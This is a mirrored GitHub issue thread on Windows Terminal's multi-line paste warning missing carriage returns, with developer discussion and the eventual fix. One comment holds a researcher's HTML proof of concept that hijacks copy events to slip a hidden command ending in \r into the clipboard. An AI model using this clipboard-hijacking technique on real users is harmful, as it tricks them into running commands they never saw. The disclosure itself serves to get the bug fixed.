Multi-line paste warning doesn't detect \r, only \n #11825

Closed
opened 2026-01-31 02:58:29 +00:00 by claunia · 12 comments
Owner

Originally created by @DHowett on GitHub (Dec 16, 2020).

Certain shells will execute commands on \r as well as \n, so we should try to catch \r as well.

This should probably be tackled at the same time as paste filtering. I originally thought that we should detect newlines after filtering, or perhaps during filtering, but would result in us doing a "lot" of work in the case where the user declines the paste.

Filtering: #5821.

Originally created by @DHowett on GitHub (Dec 16, 2020). Certain shells will execute commands on \r as well as \n, so we should try to catch \r as well. This should probably be tackled at the same time as paste filtering. I originally thought that we should detect newlines _after_ filtering, or perhaps _during_ filtering, but would result in us doing a "lot" of work in the case where the user declines the paste. Filtering: #5821.
Author
Owner

@DHowett commented on GitHub (Dec 17, 2020):

@PankajBhojwani has expressed some interest in the various multiline paste issues. 😄

@DHowett commented on GitHub (Dec 17, 2020): @PankajBhojwani has expressed some interest in the various multiline paste issues. :smile:
Author
Owner

@skyline75489 commented on GitHub (Dec 17, 2020):

I've done some work previously regarding paste filter in #7508 . But it's more of a PoC of bracketed paste mode. The security issue it trys to resolve is a serious one, though. See https://github.com/microsoft/terminal/issues/395#issuecomment-477206196. I plan to focus on brackted paste for that PR when I get the time to work on it later. So It would be nice if paste filtering is landed first.

My implemention was explained here https://github.com/microsoft/terminal/pull/7508#discussion_r482084353, if anyone's interested

@skyline75489 commented on GitHub (Dec 17, 2020): I've done some work previously regarding paste filter in #7508 . But it's more of a PoC of bracketed paste mode. The security issue it trys to resolve is a serious one, though. See https://github.com/microsoft/terminal/issues/395#issuecomment-477206196. I plan to focus on brackted paste for that PR when I get the time to work on it later. So It would be nice if paste filtering is landed first. My implemention was explained here https://github.com/microsoft/terminal/pull/7508#discussion_r482084353, if anyone's interested
Author
Owner

@Ry0taK commented on GitHub (Dec 17, 2020):

I'm a security researcher who reported this issue to MSRC.
As this issue already made public, I'm posting the PoC here to help someone who will work on this issue.

<html>
	<head>
		<title>Windows Terminal multiple line paste warning bypass</title>
	</head>
	<body>
		<script>
			function copyListener(e){
				e.clipboardData.setData("text/plain" , "echo 'evil command :P'\r");    
				e.preventDefault();
			}
			document.addEventListener("copy" , copyListener);
		</script>
		<div>
			<code>
				echo 'normal command'
			</code>
		</div>
	</body>
</html>

To reproduce this issue, open this HTML in the browser, and copy the echo 'normal command'. Then paste it to Windows Terminal.

@Ry0taK commented on GitHub (Dec 17, 2020): I'm a security researcher who reported this issue to [MSRC](https://msrc.microsoft.com/). As this issue already made public, I'm posting the PoC here to help someone who will work on this issue. ```html <html> <head> <title>Windows Terminal multiple line paste warning bypass</title> </head> <body> <script> function copyListener(e){ e.clipboardData.setData("text/plain" , "echo 'evil command :P'\r"); e.preventDefault(); } document.addEventListener("copy" , copyListener); </script> <div> <code> echo 'normal command' </code> </div> </body> </html> ``` To reproduce this issue, open this HTML in the browser, and copy the `echo 'normal command'`. Then paste it to Windows Terminal.
Author
Owner

@skyline75489 commented on GitHub (Dec 17, 2020):

OK so this issue seems to be more about filtering multi-line content, whereas my comment above focuses on filtering control sequences.

@DHowett Feel free to ignore my comments or do whatever you may want with it. I do believe these 2 issues belong to the same category and are closed related.

@skyline75489 commented on GitHub (Dec 17, 2020): OK so this issue seems to be more about filtering multi-line content, whereas my comment above focuses on filtering control sequences. @DHowett Feel free to ignore my comments or do whatever you may want with it. I do believe these 2 issues belong to the same category and are closed related.
Author
Owner

@Don-Vito commented on GitHub (Dec 17, 2020):

@DHowett - today I am full of questions.. sorry..

Can you explain

This should probably be tackled at the same time as paste filtering. I originally thought that we should detect newlines after filtering, or perhaps during filtering, but would result in us doing a "lot" of work in the case where the user declines the paste.

When I saw this I said.. OK..just add "find \r" in TerminalPage::_PasteFromClipboardHandler. What have I missed (I mean we already do the same search for \n")?

@Don-Vito commented on GitHub (Dec 17, 2020): @DHowett - today I am full of questions.. sorry.. Can you explain >This should probably be tackled at the same time as paste filtering. I originally thought that we should detect newlines after filtering, or perhaps during filtering, but would result in us doing a "lot" of work in the case where the user declines the paste. When I saw this I said.. OK..just add "find \r" in TerminalPage::_PasteFromClipboardHandler. What have I missed (I mean we already do the same search for \n")?
Author
Owner

@DHowett commented on GitHub (Dec 18, 2020):

So @Don-Vito - my concern is multifold.
We're already scanning through the string once to replace CRLF combos and once to detect newlines. We're running the risk of scanning through it a third time to detect carriage returns.

I'd rather avoid scanning the string three times, and I was thinking that if we're going to scan it once, we might as well do the \r\n, \r and \n -> \r filtering and the detection all at the same time.

@PankajBhojwani wanted to work on the multi-line paste warning enhancements, so it felt like a nice way for him to knock out three workitems at once.

@DHowett commented on GitHub (Dec 18, 2020): So @Don-Vito - my concern is multifold. We're already scanning through the string once to replace CRLF combos and once to detect newlines. We're running the risk of scanning through it a _third_ time to detect carriage returns. I'd rather avoid scanning the string three times, and I was thinking that _if we're going to scan it once_, we might as well do the `\r\n`, `\r` and `\n` -> `\r` filtering and the detection all at the same time. @PankajBhojwani wanted to work on the multi-line paste warning enhancements, so it felt like a nice way for him to knock out three workitems at once.
Author
Owner

@Don-Vito commented on GitHub (Dec 18, 2020):

@DHowett - as a quick win we can introduce std::find_if in detection to check for both. WDYT?

@Don-Vito commented on GitHub (Dec 18, 2020): @DHowett - as a quick win we can introduce std::find_if in detection to check for both. WDYT?
Author
Owner

@DHowett commented on GitHub (Dec 18, 2020):

I dunno if we need a quick win at the moment 😄

If it weren’t for Pankaj saying he wanted to work on this, I’d say we would want a quick win. 🤷🏻

(I wouldn’t reject a PR that did that, but it would be in short order steamrolled with a second PR that did the other things, too!)

@DHowett commented on GitHub (Dec 18, 2020): I dunno if we need a quick win at the moment :smile: If it weren’t for Pankaj saying he wanted to work on this, I’d say we would want a quick win. 🤷🏻 (I wouldn’t reject a PR that did that, but it would be in short order steamrolled with a second PR that did the other things, too!)
Author
Owner

@Don-Vito commented on GitHub (Dec 18, 2020):

I dunno if we need a quick win at the moment 😄

If it weren’t for Pankaj saying he wanted to work on this, I’d say we would want a quick win. 🤷🏻

(I wouldn’t reject a PR that did that, but it would be in short order steamrolled with a second PR that did the other things, too!)

Makes sense! Assumed quick win might be helpful because of MSRC report. I will convert my PR to a draft.. in case it is somehow relevant. 😊

@Don-Vito commented on GitHub (Dec 18, 2020): > > > I dunno if we need a quick win at the moment 😄 > > If it weren’t for Pankaj saying he wanted to work on this, I’d say we would want a quick win. 🤷🏻 > > (I wouldn’t reject a PR that did that, but it would be in short order steamrolled with a second PR that did the other things, too!) Makes sense! Assumed quick win might be helpful because of MSRC report. I will convert my PR to a draft.. in case it is somehow relevant. :blush:
Author
Owner

@Ry0taK commented on GitHub (Dec 18, 2020):

Just FYI, the MSRC doesn't consider this as a security issue, so they already closed the MSRC report.

@Ry0taK commented on GitHub (Dec 18, 2020): Just FYI, the MSRC doesn't consider this as a security issue, so they already closed the MSRC report.
Author
Owner

@ghost commented on GitHub (Jan 28, 2021):

:tada:This issue was addressed in #8634, which has now been successfully released as Windows Terminal v1.5.10271.0.🎉

Handy links:

@ghost commented on GitHub (Jan 28, 2021): :tada:This issue was addressed in #8634, which has now been successfully released as `Windows Terminal v1.5.10271.0`.:tada: Handy links: * [Release Notes](https://github.com/microsoft/terminal/releases/tag/v1.5.10271.0) * [Store Download](https://www.microsoft.com/store/apps/9n8g5rfz9xk3?cid=storebadge&ocid=badge)
Author
Owner

@ghost commented on GitHub (Jan 28, 2021):

:tada:This issue was addressed in #8634, which has now been successfully released as Windows Terminal Preview v1.6.10272.0.🎉

Handy links:

@ghost commented on GitHub (Jan 28, 2021): :tada:This issue was addressed in #8634, which has now been successfully released as `Windows Terminal Preview v1.6.10272.0`.:tada: Handy links: * [Release Notes](https://github.com/microsoft/terminal/releases/tag/v1.6.10272.0) * [Store Download](https://www.microsoft.com/store/apps/9n8g5rfz9xk3?cid=storebadge&ocid=badge)
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: starred/terminal#11825